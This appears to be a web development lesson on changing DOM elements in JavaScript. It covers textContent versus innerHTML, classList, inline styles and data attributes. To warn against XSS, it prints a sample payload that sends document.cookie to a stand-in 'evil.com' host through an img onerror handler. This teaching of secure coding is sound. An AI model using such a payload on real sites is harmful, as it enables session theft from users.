JavaScript Core/
Lesson

Selecting elements is only half the battle. The real magic happens when you start changing them, updating text, swapping classes, toggling visibility. This is where static HTML transforms into a dynamic application. And this is also where one of the most dangerous web security vulnerabilities lives.

Changing text: textContent vs innerHTML

JavaScript gives you two ways to change what appears inside an element. One is safe. The other can get your users hacked.

textContent: the safe choice

const title = document.querySelector('h1');
title.textContent = 'Welcome Back!';
console.log(title.textContent);  // "Welcome Back!"

textContent treats everything as plain text. Even if you pass HTML tags, they appear as literal text on the page:

const message = document.querySelector('.message');
message.textContent = '<script>alert("hack")</script>';
// User sees the literal text: <script>alert("hack")</script>
// No script is executed - completely safe

innerHTML: powerful but dangerous

const container = document.querySelector('.content');
container.innerHTML = '<p>This is a <strong>new</strong> paragraph.</p>';

innerHTML parses the string as real HTML. This is useful for building complex structures, but catastrophic if the string comes from user input:

// NEVER do this with user input
const userComment = '<img src=x onerror="document.location=\'https://evil.com/steal?\'+document.cookie">';
element.innerHTML = userComment;  // XSS attack - steals cookies!

This is called Cross-Site ScriptingWhat is xss?Cross-Site Scripting - an attack where malicious JavaScript is injected into a web page and runs in other users' browsers, stealing data or hijacking sessions. (XSS). An attacker submits a comment containing an <img onerror> handler. When the page renders it with innerHTML, the browser executes the attacker's JavaScript. That script can steal sessionWhat is session?A server-side record that tracks a logged-in user. The browser holds only a session ID in a cookie, and the server looks up the full data on each request. cookies, redirect the user to a phishing site, or make APIWhat is api?A set of rules that lets one program talk to another, usually over the internet, by sending requests and getting responses. requests on the user's behalf. XSS is consistently in the OWASPWhat is owasp?Open Web Application Security Project - an organization that maintains a widely used list of the most critical web security risks. Top 10 most critical web security risks.

AI pitfall, innerHTML with unsanitized input (XSS vulnerability): This is the single most important security lesson in this module. AI tools use innerHTML by default for everything because it is convenient, setting text, building lists, rendering cards. When AI generates element.innerHTML = userInput, it is creating a Cross-Site Scripting (XSS) vulnerability. An attacker can inject <script> tags, <img onerror> handlers, or <a onclick> attributes that steal cookies, redirect users, or take over accounts. The fix is simple: always use textContent for user-generated content. Only use innerHTML with strings you control entirely, never with data from users, URLs, APIs, or databases. If you must render HTML from dynamic data, use a sanitization library like DOMPurify.
PropertyParses HTML?XSS riskUse for
textContentNoNoneUser-generated content, simple text
innerHTMLYesCriticalTrusted HTML templates you wrote yourself
innerTextNoNoneLike textContent but respects CSS visibility
02

Managing CSS classes

The classList APIWhat is api?A set of rules that lets one program talk to another, usually over the internet, by sending requests and getting responses. is the cleanest way to control styling dynamically:

const button = document.querySelector('.btn');

button.classList.add('active');       // add a class
button.classList.remove('disabled');  // remove a class
button.classList.toggle('loading');   // add if missing, remove if present
button.classList.contains('primary'); // check if class exists (boolean)
button.classList.replace('old', 'new'); // swap one class for another

Multiple classes at once:

element.classList.add('active', 'visible', 'animated');
element.classList.remove('hidden', 'invisible');

Conditional toggle:

// Add 'visible' if isLoading is true, remove if false
spinner.classList.toggle('visible', isLoading);
03

Modifying inline styles

For dynamic values like positioning or animations, set styles directly:

const box = document.querySelector('.box');

box.style.backgroundColor = 'blue';
box.style.width = '200px';
box.style.marginTop = '10px';

CSS properties use camelCase in JavaScript:

CSS propertyJavaScript property
background-colorbackgroundColor
font-sizefontSize
margin-topmarginTop
border-radiusborderRadius
z-indexzIndex
Performance tip
Each style change triggers browser reflow. For multiple changes, prefer adding a CSS class instead of setting individual style properties.
04

Working with HTML attributes

Read and modify any HTML attribute:

const link = document.querySelector('a');
const input = document.querySelector('input');

// Direct property access (common attributes)
console.log(link.href);
console.log(input.value);
input.disabled = true;

// setAttribute / getAttribute (any attribute)
element.setAttribute('data-id', '12345');
element.setAttribute('aria-label', 'User profile card');
const id = element.getAttribute('data-id');

Data attributes

Data attributes (data-*) store custom information in HTML:

<button class="product-btn" data-product-id="789" data-price="29.99">
  Add to Cart
</button>
const button = document.querySelector('.product-btn');

button.dataset.productId;   // "789"
button.dataset.price;       // "29.99"
button.dataset.inStock = 'true';  // creates data-in-stock attribute
HTML attributeJavaScript property
data-product-iddataset.productId
data-user-namedataset.userName
data-max-valuedataset.maxValue
05

Common modification patterns

Loading states

const submitBtn = document.querySelector('#submit');

submitBtn.disabled = true;
submitBtn.textContent = 'Loading...';
submitBtn.classList.add('loading');

// After operation completes:
submitBtn.disabled = false;
submitBtn.textContent = 'Submit';
submitBtn.classList.remove('loading');

Form validation feedback

const emailInput = document.querySelector('#email');

if (!emailInput.value.includes('@')) {
  emailInput.classList.add('error');
  emailInput.setAttribute('aria-invalid', 'true');
} else {
  emailInput.classList.remove('error');
  emailInput.setAttribute('aria-invalid', 'false');
}
06

Quick reference

TaskCodeSafe?
Set textel.textContent = 'text'Yes
Set HTMLel.innerHTML = '<b>html</b>'Only with trusted strings
Add classel.classList.add('name')Yes
Remove classel.classList.remove('name')Yes
Toggle classel.classList.toggle('name')Yes
Set styleel.style.color = 'red'Yes
Set attributeel.setAttribute('key', 'val')Yes
Read data attrel.dataset.keyNameYes
Disable elementel.disabled = trueYes